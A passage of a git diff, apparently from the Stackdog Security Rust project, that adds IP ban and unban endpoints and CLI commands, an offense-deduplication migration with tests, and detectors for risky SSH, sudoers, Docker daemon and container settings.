Ok(true) => HttpResponse::Ok().json(serde_json::json!({ + "ip_address": ip_address, + "status": "Released" + })), + Ok(false) => HttpResponse::NotFound().json(serde_json::json!({ + "error": format!("No active block for {}", ip_address) + })), + Err(err) => { + log::error!("Failed to release ban for {}: {}", ip_address, err); + HttpResponse::InternalServerError().json(serde_json::json!({ + "error": "Failed to release ban" + })) + } + } +} + +/// Accept the lowercase spellings a URL query would realistically use. +fn parse_offense_status(raw: &str) -> Option { + match raw.trim().to_ascii_lowercase().as_str() { + "active" => Some(OffenseStatus::Active), + "blocked" => Some(OffenseStatus::Blocked), + "released" => Some(OffenseStatus::Released), + _ => None, + } +} + /// Configure security routes pub fn configure_routes(cfg: &mut web::ServiceConfig) { - cfg.service(web::scope("/api/security").route("/status", web::get().to(get_security_status))); + cfg.service( + web::scope("/api/security") + .route("/status", web::get().to(get_security_status)) + .route("/bans", web::get().to(list_bans)) + .route("/bans/{ip}", web::delete().to(delete_ban)), + ); } pub(crate) fn build_security_status(pool: &DbPool) -> anyhow::Result { @@ -51,6 +132,113 @@ mod tests { use actix_web::{test, App}; use chrono::Utc; + fn insert_blocked_offense(pool: &DbPool, ip: &str) { + use crate::database::repositories::offenses::{ + mark_blocked, record_offense_occurrence, NewIpOffense, + }; + + record_offense_occurrence( + pool, + &NewIpOffense { + id: format!("offense-{ip}"), + ip_address: ip.to_string(), + source_type: "sniff".into(), + container_id: None, + first_seen: Utc::now(), + reason: "repeated offenses".into(), + metadata: None, + }, + Utc::now() - chrono::Duration::minutes(5), + ) + .unwrap(); + mark_blocked( + pool, + ip, + "sniff", + Utc::now() + chrono::Duration::minutes(30), + ) + .unwrap(); + } + + #[actix_rt::test] + async fn test_list_bans_returns_offenses() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + insert_blocked_offense(&pool, "46.224.127.228"); + + let app = test::init_service( + App::new() + .app_data(web::Data::new(pool)) + .configure(configure_routes), + ) + .await; + + let req = test::TestRequest::get() + .uri("/api/security/bans?status=blocked") + .to_request(); + let body: serde_json::Value = test::call_and_read_body_json(&app, req).await; + + assert_eq!(body.as_array().unwrap().len(), 1); + assert_eq!(body[0]["ip_address"], "46.224.127.228"); + assert_eq!(body[0]["status"], "Blocked"); + } + + #[actix_rt::test] + async fn test_list_bans_rejects_unknown_status() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let app = test::init_service( + App::new() + .app_data(web::Data::new(pool)) + .configure(configure_routes), + ) + .await; + + let req = test::TestRequest::get() + .uri("/api/security/bans?status=banned") + .to_request(); + let resp = test::call_service(&app, req).await; + + assert_eq!(resp.status(), actix_web::http::StatusCode::BAD_REQUEST); + } + + #[actix_rt::test] + async fn test_delete_ban_returns_404_for_unknown_ip() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let app = test::init_service( + App::new() + .app_data(web::Data::new(pool)) + .configure(configure_routes), + ) + .await; + + let req = test::TestRequest::delete() + .uri("/api/security/bans/203.0.113.99") + .to_request(); + let resp = test::call_service(&app, req).await; + + assert_eq!(resp.status(), actix_web::http::StatusCode::NOT_FOUND); + } + + // `#[test]` resolves to actix_web::test here, which requires async. + #[actix_rt::test] + async fn test_parse_offense_status_is_case_insensitive() { + assert_eq!( + parse_offense_status("Blocked"), + Some(OffenseStatus::Blocked) + ); + assert_eq!( + parse_offense_status(" active "), + Some(OffenseStatus::Active) + ); + assert_eq!( + parse_offense_status("released"), + Some(OffenseStatus::Released) + ); + assert_eq!(parse_offense_status("nonsense"), None); + } + #[actix_rt::test] async fn test_get_security_status() { let pool = create_pool(":memory:").unwrap(); diff --git a/src/api/threats.rs b/src/api/threats.rs index 2200638..ac18635 100644 --- a/src/api/threats.rs +++ b/src/api/threats.rs @@ -83,48 +83,6 @@ pub fn configure_routes(cfg: &mut web::ServiceConfig) { ); } -#[cfg(test)] -mod tests { - use super::*; - use actix_web::{test, App}; - - #[actix_rt::test] - async fn test_get_threats() { - let pool = crate::database::create_pool(":memory:").unwrap(); - crate::database::init_database(&pool).unwrap(); - let app = test::init_service( - App::new() - .app_data(web::Data::new(pool)) - .configure(configure_routes), - ) - .await; - - let req = test::TestRequest::get().uri("/api/threats").to_request(); - let resp = test::call_service(&app, req).await; - - assert!(resp.status().is_success()); - } - - #[actix_rt::test] - async fn test_get_threat_statistics() { - let pool = crate::database::create_pool(":memory:").unwrap(); - crate::database::init_database(&pool).unwrap(); - let app = test::init_service( - App::new() - .app_data(web::Data::new(pool)) - .configure(configure_routes), - ) - .await; - - let req = test::TestRequest::get() - .uri("/api/threats/statistics") - .to_request(); - let resp = test::call_service(&app, req).await; - - assert!(resp.status().is_success()); - } -} - fn severity_to_score(severity: AlertSeverity) -> u32 { match severity { AlertSeverity::Critical => 95, @@ -176,3 +134,45 @@ fn calculate_trend(alerts: &[Alert]) -> String { "stable".to_string() } } + +#[cfg(test)] +mod tests { + use super::*; + use actix_web::{test, App}; + + #[actix_rt::test] + async fn test_get_threats() { + let pool = crate::database::create_pool(":memory:").unwrap(); + crate::database::init_database(&pool).unwrap(); + let app = test::init_service( + App::new() + .app_data(web::Data::new(pool)) + .configure(configure_routes), + ) + .await; + + let req = test::TestRequest::get().uri("/api/threats").to_request(); + let resp = test::call_service(&app, req).await; + + assert!(resp.status().is_success()); + } + + #[actix_rt::test] + async fn test_get_threat_statistics() { + let pool = crate::database::create_pool(":memory:").unwrap(); + crate::database::init_database(&pool).unwrap(); + let app = test::init_service( + App::new() + .app_data(web::Data::new(pool)) + .configure(configure_routes), + ) + .await; + + let req = test::TestRequest::get() + .uri("/api/threats/statistics") + .to_request(); + let resp = test::call_service(&app, req).await; + + assert!(resp.status().is_success()); + } +} diff --git a/src/cli.rs b/src/cli.rs index 7b6e4fa..98d7b1e 100644 --- a/src/cli.rs +++ b/src/cli.rs @@ -5,9 +5,16 @@ use clap::{Args, Parser, Subcommand}; +const VERSION: &str = concat!( + env!("CARGO_PKG_VERSION"), + " (", + env!("STACKDOG_GIT_HASH"), + ")" +); + /// Stackdog Security — Docker & Linux server security platform #[derive(Parser, Debug)] -#[command(name = "stackdog", version, about, long_about = None)] +#[command(name = "stackdog", version = VERSION, about, long_about = None)] pub struct Cli { #[command(subcommand)] pub command: Option, @@ -21,6 +28,62 @@ pub enum Command { /// Sniff and analyze logs from Docker containers and system sources Sniff(Box), + + /// Ban an IP address immediately + BanIp(BanIpCommand), + + /// Release a ban and remove its firewall rules + Unban(UnbanCommand), + + /// Inspect and repair the Stackdog firewall rules + Firewall(FirewallCommand), + + /// Write a starter config to ~/.config/stackdog/.env + Init, +} + +#[derive(Args, Debug, Clone)] +pub struct BanIpCommand { + /// IPv4 address to ban + pub ip_address: String, + + /// Ban duration (e.g. "30m", "1h", "2h", "24h") + #[arg(long, default_value = "30m")] + pub duration: String, + + /// Reason for the ban + #[arg(long, default_value = "manual ban")] + pub reason: String, +} + +#[derive(Args, Debug, Clone)] +pub struct UnbanCommand { + /// IPv4 address to release + #[arg(required_unless_present = "all")] + pub ip_address: Option, + + /// Release every ban and remove every Stackdog firewall rule + #[arg(long)] + pub all: bool, + + /// Reason for the release + #[arg(long, default_value = "manual unban")] + pub reason: String, +} + +#[derive(Args, Debug, Clone)] +pub struct FirewallCommand { + #[command(subcommand)] + pub command: FirewallSubcommand, +} + +#[derive(Subcommand, Debug, Clone)] +pub enum FirewallSubcommand { + /// List the addresses the Stackdog firewall is blocking + List, + + /// Reconcile firewall rules with the database (drop orphans, restore gaps) + Reconcile, } #[derive(Args, Debug, Clone)] diff --git a/src/collectors/ebpf/loader.rs b/src/collectors/ebpf/loader.rs index 4ced63f..415070e 100644 --- a/src/collectors/ebpf/loader.rs +++ b/src/collectors/ebpf/loader.rs @@ -4,6 +4,8 @@ //! //! Note: This module is only available on Linux with the ebpf feature enabled +#[cfg(all(target_os = "linux", feature = "ebpf"))] +use anyhow::Context; use anyhow::Result; use std::collections::HashMap; diff --git a/src/collectors/ebpf/syscall_monitor.rs b/src/collectors/ebpf/syscall_monitor.rs index a5d94b1..79b6f40 100644 --- a/src/collectors/ebpf/syscall_monitor.rs +++ b/src/collectors/ebpf/syscall_monitor.rs @@ -6,6 +6,8 @@ use crate::collectors::ebpf::container::ContainerDetector; use crate::collectors::ebpf::enrichment::EventEnricher; use crate::collectors::ebpf::ring_buffer::EventRingBuffer; use crate::events::syscall::SyscallEvent; +#[cfg(all(target_os = "linux", feature = "ebpf"))] +use anyhow::Context; use anyhow::Result; /// Syscall monitor using eBPF diff --git a/src/collectors/network.rs b/src/collectors/network.rs index 5cba009..9d9a919 100644 --- a/src/collectors/network.rs +++ b/src/collectors/network.rs @@ -94,6 +94,7 @@ mod tests { status: "Running".to_string(), created: String::new(), network_settings: HashMap::from([("bridge".to_string(), "172.17.0.5".to_string())]), + labels: HashMap::new(), }; let event = build_network_event(&container, 64_000, 250).unwrap(); @@ -111,6 +112,7 @@ mod tests { status: "Running".to_string(), created: String::new(), network_settings: HashMap::new(), + labels: HashMap::new(), }; assert!(build_network_event(&container, 64_000, 250).is_none()); diff --git a/src/database/connection.rs b/src/database/connection.rs index e684cfa..b4413d5 100644 --- a/src/database/connection.rs +++ b/src/database/connection.rs @@ -188,6 +188,65 @@ pub fn init_database(pool: &DbPool) -> Result<()> { [], ); + conn.execute( + "CREATE TABLE IF NOT EXISTS file_integrity_baselines ( + path TEXT PRIMARY KEY, + file_type TEXT NOT NULL, + sha256 TEXT NOT NULL, + size_bytes INTEGER NOT NULL, + readonly INTEGER NOT NULL, + modified_at INTEGER NOT NULL, + updated_at TEXT NOT NULL + )", + [], + )?; + + let _ = conn.execute( + "CREATE INDEX IF NOT EXISTS idx_file_integrity_updated_at ON file_integrity_baselines(updated_at)", + [], + ); + + conn.execute( + "CREATE TABLE IF NOT EXISTS php_shell_scans ( + path TEXT PRIMARY KEY, + owner TEXT NOT NULL, + logical_path TEXT NOT NULL, + size_bytes INTEGER NOT NULL, + modified_at INTEGER NOT NULL, + sha256 TEXT NOT NULL, + score INTEGER NOT NULL, + rules TEXT NOT NULL, + in_upload_dir INTEGER NOT NULL, + scanned_at TEXT NOT NULL + )", + [], + )?; + + conn.execute( + "CREATE TABLE IF NOT EXISTS cve_watch_cache ( + ecosystem TEXT NOT NULL, + package TEXT NOT NULL, + version TEXT NOT NULL, + fetched_at TEXT NOT NULL, + cve_ids TEXT NOT NULL, + PRIMARY KEY (ecosystem, package, version) + )", + [], + )?; + + conn.execute( + "CREATE TABLE IF NOT EXISTS cve_watch_alerted ( + owner TEXT NOT NULL, + ecosystem TEXT NOT NULL, + package TEXT NOT NULL, + version TEXT NOT NULL, + osv_id TEXT NOT NULL, + alerted_at TEXT NOT NULL, + PRIMARY KEY (owner, ecosystem, package, version, osv_id) + )", + [], + )?; + conn.execute( "CREATE TABLE IF NOT EXISTS ip_offenses ( id TEXT PRIMARY KEY, @@ -219,6 +278,73 @@ pub fn init_database(pool: &DbPool) -> Result<()> { [], ); + collapse_duplicate_offenses(&conn)?; + + Ok(()) +} + +/// Index whose presence marks the one-row-per-(ip, source_type) layout. +const OFFENSE_UNIQUE_INDEX: &str = "idx_ip_offenses_ip_source"; + +/// Collapse the historical one-row-per-detection layout into one row per +/// (ip_address, source_type), then enforce it with a unique index. +/// +/// Older builds inserted a row per detection and left `offense_count` at 1, so +/// a noisy scanner grew the table without bound and a single ban left several +/// rows behind — which is why expiring one ban emitted several notifications. +/// +/// Guarded by the index's existence: re-running the collapse after it has +/// already happened would recount each surviving row as a group of one and +/// reset every counter to 1. +fn collapse_duplicate_offenses(conn: &rusqlite::Connection) -> Result<()> { + let already_migrated: i64 = conn.query_row( + "SELECT COUNT(*) FROM sqlite_master WHERE type = 'index' AND name = ?1", + [OFFENSE_UNIQUE_INDEX], + |row| row.get(0), + )?; + if already_migrated > 0 { + return Ok(()); + } + + // Fold each group's history into the row that will survive it. + conn.execute( + "UPDATE ip_offenses SET + offense_count = ( + SELECT COUNT(*) FROM ip_offenses AS peer + WHERE peer.ip_address = ip_offenses.ip_address + AND peer.source_type = ip_offenses.source_type + ), + first_seen = ( + SELECT MIN(peer.first_seen) FROM ip_offenses AS peer + WHERE peer.ip_address = ip_offenses.ip_address + AND peer.source_type = ip_offenses.source_type + )", + [], + )?; + + // Keep one row per group: a live block first, then the most recent. + conn.execute( + "DELETE FROM ip_offenses WHERE id IN ( + SELECT id FROM ( + SELECT id, ROW_NUMBER() OVER ( + PARTITION BY ip_address, source_type + ORDER BY + CASE status WHEN 'Blocked' THEN 0 WHEN 'Active' THEN 1 ELSE 2 END, + last_seen DESC + ) AS position + FROM ip_offenses + ) WHERE position > 1 + )", + [], + )?; + + conn.execute( + &format!( + "CREATE UNIQUE INDEX {OFFENSE_UNIQUE_INDEX} ON ip_offenses(ip_address, source_type)" + ), + [], + )?; + Ok(()) } @@ -226,6 +352,104 @@ pub fn init_database(pool: &DbPool) -> Result<()> { mod tests { use super::*; + /// Recreate the pre-migration layout: several rows per (ip, source_type), + /// each with offense_count stuck at 1. + fn seed_legacy_offenses(conn: &rusqlite::Connection) { + let rows = [ + ( + "o1", + "192.0.2.10", + "sniff", + "2026-01-01T00:00:00Z", + "Released", + ), + ( + "o2", + "192.0.2.10", + "sniff", + "2026-01-01T00:05:00Z", + "Blocked", + ), + ( + "o3", + "192.0.2.10", + "sniff", + "2026-01-01T00:03:00Z", + "Active", + ), + ( + "o4", + "192.0.2.10", + "ai-tool", + "2026-01-01T00:04:00Z", + "Active", + ), + ( + "o5", + "198.51.100.7", + "sniff", + "2026-01-01T00:06:00Z", + "Active", + ), + ]; + for (id, ip, source, seen, status) in rows { + conn.execute( + "INSERT INTO ip_offenses ( + id, ip_address, source_type, offense_count, + first_seen, last_seen, status, reason + ) VALUES (?1, ?2, ?3, 1, ?4, ?4, ?5, 'legacy')", + rusqlite::params![id, ip, source, seen, status], + ) + .unwrap(); + } + } + + #[test] + fn test_collapse_duplicate_offenses_folds_history_into_one_row() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + { + let conn = pool.get().unwrap(); + // Drop the index init_database just created to simulate an old DB. + conn.execute(&format!("DROP INDEX IF EXISTS {OFFENSE_UNIQUE_INDEX}"), []) + .unwrap(); + seed_legacy_offenses(&conn); + collapse_duplicate_offenses(&conn).unwrap(); + + let (id, count, first_seen): (String, i64, String) = conn + .query_row( + "SELECT id, offense_count, first_seen FROM ip_offenses + WHERE ip_address = '192.0.2.10' AND source_type = 'sniff'", + [], + |row| Ok((row.get(0)?, row.get(1)?, row.get(2)?)), + ) + .unwrap(); + + // The live block survives, carrying the group's tally and its + // earliest sighting. + assert_eq!(id, "o2"); + assert_eq!(count, 3); + assert_eq!(first_seen, "2026-01-01T00:00:00Z"); + + // Other pairs are untouched. + let total: i64 = conn + .query_row("SELECT COUNT(*) FROM ip_offenses", [], |row| row.get(0)) + .unwrap(); + assert_eq!(total, 3); + + // Running it again must not recount the survivors as groups of one. + collapse_duplicate_offenses(&conn).unwrap(); + let count: i64 = conn + .query_row( + "SELECT offense_count FROM ip_offenses WHERE id = 'o2'", + [], + |row| row.get(0), + ) + .unwrap(); + assert_eq!(count, 3, "the migration must be idempotent"); + } + } + #[test] fn test_create_pool() { let pool = create_pool(":memory:"); diff --git a/src/database/repositories/log_sources.rs b/src/database/repositories/log_sources.rs index d3809e6..73c4b2a 100644 --- a/src/database/repositories/log_sources.rs +++ b/src/database/repositories/log_sources.rs @@ -94,10 +94,16 @@ pub fn get_log_source_by_path(pool: &DbPool, path_or_id: &str) -> Result Result<()> { let conn = pool.get()?; - conn.execute( + let updated = conn.execute( "UPDATE log_sources SET last_read_position = ?1 WHERE path_or_id = ?2", params![position as i64, path_or_id], )?; + if updated == 0 { + return Err(anyhow::anyhow!( + "No log source registered for path_or_id '{}'", + path_or_id + )); + } Ok(()) } diff --git a/src/database/repositories/offenses.rs b/src/database/repositories/offenses.rs index 143470d..1806148 100644 --- a/src/database/repositories/offenses.rs +++ b/src/database/repositories/offenses.rs @@ -107,24 +107,62 @@ fn map_row(row: &rusqlite::Row) -> Result { }) } -pub fn insert_offense(pool: &DbPool, offense: &NewIpOffense) -> Result<()> { +/// Record one detection for `(ip_address, source_type)`. +/// +/// One row per pair, with `offense_count` carrying the tally. The counter +/// restarts when the previous activity fell outside `window_start`, or when the +/// address had already served a ban — otherwise an address banned once would +/// stay one detection away from being banned again forever. +/// +/// Returns the offense count after recording. +pub fn record_offense_occurrence( + pool: &DbPool, + offense: &NewIpOffense, + window_start: DateTime, +) -> Result { let conn = pool.get()?; + let window_start = window_start.to_rfc3339(); + let seen_at = offense.first_seen.to_rfc3339(); + conn.execute( "INSERT INTO ip_offenses ( id, ip_address, source_type, container_id, offense_count, first_seen, last_seen, blocked_until, status, reason, metadata - ) VALUES (?1, ?2, ?3, ?4, 1, ?5, ?5, NULL, 'Active', ?6, ?7)", + ) VALUES (?1, ?2, ?3, ?4, 1, ?5, ?5, NULL, 'Active', ?6, ?7) + ON CONFLICT(ip_address, source_type) DO UPDATE SET + offense_count = CASE + WHEN ip_offenses.status = 'Released' OR ip_offenses.last_seen < ?8 THEN 1 + ELSE ip_offenses.offense_count + 1 + END, + first_seen = CASE + WHEN ip_offenses.status = 'Released' OR ip_offenses.last_seen < ?8 THEN excluded.first_seen + ELSE ip_offenses.first_seen + END, + status = CASE WHEN ip_offenses.status = 'Released' THEN 'Active' ELSE ip_offenses.status END, + blocked_until = CASE WHEN ip_offenses.status = 'Released' THEN NULL ELSE ip_offenses.blocked_until END, + last_seen = excluded.last_seen, + container_id = excluded.container_id, + reason = excluded.reason, + metadata = excluded.metadata", params![ offense.id, offense.ip_address, offense.source_type, offense.container_id, - offense.first_seen.to_rfc3339(), + seen_at, offense.reason, serialize_metadata(offense.metadata.as_ref())?, + window_start, ], )?; - Ok(()) + + let count: i64 = conn.query_row( + "SELECT offense_count FROM ip_offenses WHERE ip_address = ?1 AND source_type = ?2", + params![offense.ip_address, offense.source_type], + |row| row.get(0), + )?; + + Ok(count.max(0) as u32) } pub fn find_recent_offenses( @@ -156,6 +194,33 @@ pub fn find_recent_offenses( Ok(offenses) } +/// Recent offense rows for an address across every source type. +/// +/// `find_recent_offenses` narrows to one source; this is for callers that want +/// the whole picture for an address, such as the AI's `check_ip_status`. +pub fn recent_offenses_for_ip( + pool: &DbPool, + ip_address: &str, + since: DateTime, +) -> Result> { + let conn = pool.get()?; + let mut stmt = conn.prepare( + "SELECT + id, ip_address, source_type, container_id, offense_count, + first_seen, last_seen, blocked_until, status, reason, metadata + FROM ip_offenses + WHERE ip_address = ?1 AND last_seen >= ?2 + ORDER BY last_seen DESC", + )?; + + let rows = stmt.query_map(params![ip_address, since.to_rfc3339()], map_row)?; + let mut offenses = Vec::new(); + for row in rows { + offenses.push(row?); + } + Ok(offenses) +} + pub fn active_block_for_ip(pool: &DbPool, ip_address: &str) -> Result> { let conn = pool.get()?; let mut stmt = conn.prepare( @@ -212,6 +277,41 @@ pub fn expired_blocks(pool: &DbPool, now: DateTime) -> Result, + limit: usize, +) -> Result> { + let conn = pool.get()?; + let base = "SELECT + id, ip_address, source_type, container_id, offense_count, + first_seen, last_seen, blocked_until, status, reason, metadata + FROM ip_offenses"; + + let mut offenses = Vec::new(); + match status { + Some(status) => { + let mut stmt = conn.prepare(&format!( + "{base} WHERE status = ?1 ORDER BY last_seen DESC LIMIT ?2" + ))?; + let rows = stmt.query_map(params![status.to_string(), limit as i64], map_row)?; + for row in rows { + offenses.push(row?); + } + } + None => { + let mut stmt = conn.prepare(&format!("{base} ORDER BY last_seen DESC LIMIT ?1"))?; + let rows = stmt.query_map(params![limit as i64], map_row)?; + for row in rows { + offenses.push(row?); + } + } + } + + Ok(offenses) +} + pub fn mark_released(pool: &DbPool, offense_id: &str) -> Result<()> { let conn = pool.get()?; conn.execute( @@ -232,7 +332,7 @@ mod tests { let pool = create_pool(":memory:").unwrap(); init_database(&pool).unwrap(); - insert_offense( + record_offense_occurrence( &pool, &NewIpOffense { id: "o1".into(), @@ -246,6 +346,7 @@ mod tests { sample_line: None, }), }, + Utc::now() - Duration::minutes(5), ) .unwrap(); @@ -260,13 +361,110 @@ mod tests { assert_eq!(offenses[0].status, OffenseStatus::Active); } + fn detection(ip: &str, reason: &str) -> NewIpOffense { + NewIpOffense { + id: uuid::Uuid::new_v4().to_string(), + ip_address: ip.into(), + source_type: "sniff".into(), + container_id: None, + first_seen: Utc::now(), + reason: reason.into(), + metadata: None, + } + } + + #[test] + fn test_record_offense_occurrence_increments_single_row() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let window_start = Utc::now() - Duration::minutes(5); + + for expected in 1..=4 { + let count = + record_offense_occurrence(&pool, &detection("192.0.2.30", "ssh"), window_start) + .unwrap(); + assert_eq!(count, expected); + } + + let offenses = find_recent_offenses(&pool, "192.0.2.30", "sniff", window_start).unwrap(); + assert_eq!(offenses.len(), 1, "the table must not grow per detection"); + assert_eq!(offenses[0].offense_count, 4); + } + + #[test] + fn test_record_offense_occurrence_restarts_outside_the_window() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + + record_offense_occurrence( + &pool, + &detection("192.0.2.31", "ssh"), + Utc::now() - Duration::minutes(5), + ) + .unwrap(); + + // A window that starts in the future makes the stored activity stale. + let count = record_offense_occurrence( + &pool, + &detection("192.0.2.31", "ssh"), + Utc::now() + Duration::minutes(5), + ) + .unwrap(); + assert_eq!(count, 1, "the counter restarts once activity ages out"); + } + + #[test] + fn test_record_offense_occurrence_reactivates_a_released_row() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let now = Utc::now(); + let window_start = now - Duration::minutes(5); + + record_offense_occurrence(&pool, &detection("192.0.2.32", "ssh"), window_start).unwrap(); + mark_blocked(&pool, "192.0.2.32", "sniff", now + Duration::minutes(5)).unwrap(); + let blocked = active_block_for_ip(&pool, "192.0.2.32").unwrap().unwrap(); + mark_released(&pool, &blocked.id).unwrap(); + + // A served ban starts the count over, rather than leaving the address + // one detection away from being banned again. + let count = record_offense_occurrence(&pool, &detection("192.0.2.32", "ssh"), window_start) + .unwrap(); + assert_eq!(count, 1); + + let offenses = find_recent_offenses(&pool, "192.0.2.32", "sniff", window_start).unwrap(); + assert_eq!(offenses[0].status, OffenseStatus::Active); + assert!(offenses[0].blocked_until.is_none()); + } + + #[test] + fn test_offenses_are_unique_per_ip_and_source() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let window_start = Utc::now() - Duration::minutes(5); + + record_offense_occurrence(&pool, &detection("192.0.2.33", "ssh"), window_start).unwrap(); + let mut other_source = detection("192.0.2.33", "ai"); + other_source.source_type = "ai-tool".into(); + record_offense_occurrence(&pool, &other_source, window_start).unwrap(); + + let conn = pool.get().unwrap(); + let rows: i64 = conn + .query_row( + "SELECT COUNT(*) FROM ip_offenses WHERE ip_address = ?1", + params!["192.0.2.33"], + |row| row.get(0), + ) + .unwrap(); + assert_eq!(rows, 2, "different sources keep their own tally"); + } + #[test] fn test_mark_blocked_and_released() { let pool = create_pool(":memory:").unwrap(); init_database(&pool).unwrap(); let now = Utc::now(); - insert_offense( + record_offense_occurrence( &pool, &NewIpOffense { id: "o2".into(), @@ -277,6 +475,7 @@ mod tests { reason: "test".into(), metadata: None, }, + now - Duration::minutes(5), ) .unwrap(); diff --git a/src/detectors/audits.rs b/src/detectors/audits.rs new file mode 100644 index 0000000..cf8e778 --- /dev/null +++ b/src/detectors/audits.rs @@ -0,0 +1,490 @@ +use std::fs; + +use anyhow::Result; +use serde::{Deserialize, Serialize}; + +use crate::sniff::analyzer::AnomalySeverity; + +use super::{DetectorFamily, DetectorFinding}; + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct ContainerPosture { + pub container_id: String, + pub name: String, + pub image: String, + pub privileged: bool, + pub network_mode: Option, + pub pid_mode: Option, + pub cap_add: Vec, + pub mounts: Vec, +} + +#[derive(Debug, Clone, Default)] +pub struct ConfigAssessmentMonitor; + +#[derive(Debug, Clone, Default)] +pub struct PackageInventoryMonitor; + +#[derive(Debug, Clone, Default)] +pub struct DockerPostureMonitor; + +impl ConfigAssessmentMonitor { + pub fn detect(&self, configured_paths: &[String]) -> Result> { + let mut findings = Vec::new(); + let targets = config_paths(configured_paths); + + for path in targets { + let file_name = path + .file_name() + .and_then(|name| name.to_str()) + .unwrap_or_default(); + if !path.exists() { + continue; + } + + let content = match fs::read_to_string(&path) { + Ok(content) => content, + Err(error) => { + log::debug!( + "Skipping unreadable config assessment target {}: {}", + path.display(), + error + ); + continue; + } + }; + let path_str = path.to_string_lossy().into_owned(); + match file_name { + "sshd_config" => findings.extend(check_sshd_config(&path_str, &content)), + "sudoers" => findings.extend(check_sudoers(&path_str, &content)), + "daemon.json" => findings.extend(check_docker_daemon_config(&path_str, &content)), + _ => {} + } + } + + Ok(findings) + } +} + +impl PackageInventoryMonitor { + pub fn detect(&self, configured_paths: &[String]) -> Result> { + let mut findings = Vec::new(); + + for path in inventory_paths(configured_paths) { + if !path.exists() { + continue; + } + + let content = match fs::read_to_string(&path) { + Ok(content) => content, + Err(error) => { + log::debug!( + "Skipping unreadable package inventory target {}: {}", + path.display(), + error + ); + continue; + } + }; + let path_str = path.to_string_lossy().into_owned(); + let packages = match path.file_name().and_then(|name| name.to_str()) { + Some("status") => parse_dpkg_status(&content), + Some("installed") => parse_apk_installed(&content), + _ => parse_dpkg_status(&content), + }; + + for (package, version) in packages { + if let Some(finding) = check_package_advisory(&path_str, &package, &version) { + findings.push(finding); + } + } + } + + Ok(findings) + } +} + +impl DockerPostureMonitor { + pub fn detect(&self, postures: &[ContainerPosture]) -> Vec { + let mut findings = Vec::new(); + + for posture in postures { + let mut issues = Vec::new(); + if posture.privileged { + issues.push("privileged mode"); + } + if posture.network_mode.as_deref() == Some("host") { + issues.push("host network"); + } + if posture.pid_mode.as_deref() == Some("host") { + issues.push("host PID namespace"); + } + if posture + .cap_add + .iter() + .any(|cap| matches!(cap.as_str(), "SYS_ADMIN" | "NET_ADMIN" | "SYS_PTRACE")) + { + issues.push("dangerous capabilities"); + } + if posture + .mounts + .iter() + .any(|mount| mount.contains("/var/run/docker.sock")) + { + issues.push("docker socket mount"); + } + if posture.mounts.iter().any(|mount| { + mount.contains("/etc:") && (mount.ends_with(":rw") || !mount.contains(":ro")) + }) { + issues.push("writable /etc mount"); + } + + if issues.is_empty() { + continue; + } + + let severity = if posture.privileged + || posture + .mounts + .iter() + .any(|mount| mount.contains("/var/run/docker.sock")) + { + AnomalySeverity::Critical + } else { + AnomalySeverity::High + }; + + findings.push(DetectorFinding { + detector_id: "container.posture-risk".into(), + family: DetectorFamily::Container, + description: format!( + "Container {} has risky posture: {}", + posture.name, + issues.join(", ") + ), + severity, + confidence: 90, + sample_line: format!("{} ({})", posture.name, posture.container_id), + }); + } + + findings + } +} + +fn config_paths(configured_paths: &[String]) -> Vec { + if configured_paths.is_empty() { + default_existing_paths(&[ + "/etc/ssh/sshd_config", + "/etc/sudoers", + "/etc/docker/daemon.json", + ]) + } else { + configured_paths + .iter() + .map(std::path::PathBuf::from) + .collect() + } +} + +fn inventory_paths(configured_paths: &[String]) -> Vec { + if configured_paths.is_empty() { + default_existing_paths(&["/var/lib/dpkg/status", "/lib/apk/db/installed"]) + } else { + configured_paths + .iter() + .map(std::path::PathBuf::from) + .collect() + } +} + +fn default_existing_paths(paths: &[&str]) -> Vec { + paths + .iter() + .map(std::path::PathBuf::from) + .filter(|path| path.exists()) + .collect() +} + +fn check_sshd_config(path: &str, content: &str) -> Vec { + let mut findings = Vec::new(); + let normalized = uncommented_lines(content); + + if normalized + .iter() + .any(|line| line.eq_ignore_ascii_case("PermitRootLogin yes")) + { + findings.push(DetectorFinding { + detector_id: "config.ssh-root-login".into(), + family: DetectorFamily::Configuration, + description: format!("sshd_config allows direct root login: {}", path), + severity: AnomalySeverity::High, + confidence: 92, + sample_line: path.into(), + }); + } + + if normalized + .iter() + .any(|line| line.eq_ignore_ascii_case("PasswordAuthentication yes")) + { + findings.push(DetectorFinding { + detector_id: "config.ssh-password-auth".into(), + family: DetectorFamily::Configuration, + description: format!("sshd_config enables password authentication: {}", path), + severity: AnomalySeverity::Medium, + confidence: 84, + sample_line: path.into(), + }); + } + + findings +} + +fn check_sudoers(path: &str, content: &str) -> Vec { + uncommented_lines(content) + .iter() + .filter(|line| line.contains("NOPASSWD: ALL")) + .map(|_| DetectorFinding { + detector_id: "config.sudoers-nopasswd".into(), + family: DetectorFamily::Configuration, + description: format!("sudoers grants passwordless full sudo access: {}", path), + severity: AnomalySeverity::High, + confidence: 91, + sample_line: path.into(), + }) + .collect() +} + +fn check_docker_daemon_config(path: &str, content: &str) -> Vec { + let mut findings = Vec::new(); + + let parsed = match serde_json::from_str::(content) { + Ok(value) => value, + Err(_) => { + findings.push(DetectorFinding { + detector_id: "config.docker-invalid-json".into(), + family: DetectorFamily::Configuration, + description: format!("Docker daemon config is not valid JSON: {}", path), + severity: AnomalySeverity::Medium, + confidence: 80, + sample_line: path.into(), + }); + return findings; + } + }; + + if parsed + .get("icc") + .and_then(|value| value.as_bool()) + .unwrap_or(true) + { + findings.push(DetectorFinding { + detector_id: "config.docker-icc".into(), + family: DetectorFamily::Configuration, + description: format!( + "Docker daemon config allows inter-container communication: {}", + path + ), + severity: AnomalySeverity::Medium, + confidence: 82, + sample_line: path.into(), + }); + } + + if parsed.get("userns-remap").is_none() { + findings.push(DetectorFinding { + detector_id: "config.docker-userns".into(), + family: DetectorFamily::Configuration, + description: format!( + "Docker daemon config does not enable user namespace remapping: {}", + path + ), + severity: AnomalySeverity::Medium, + 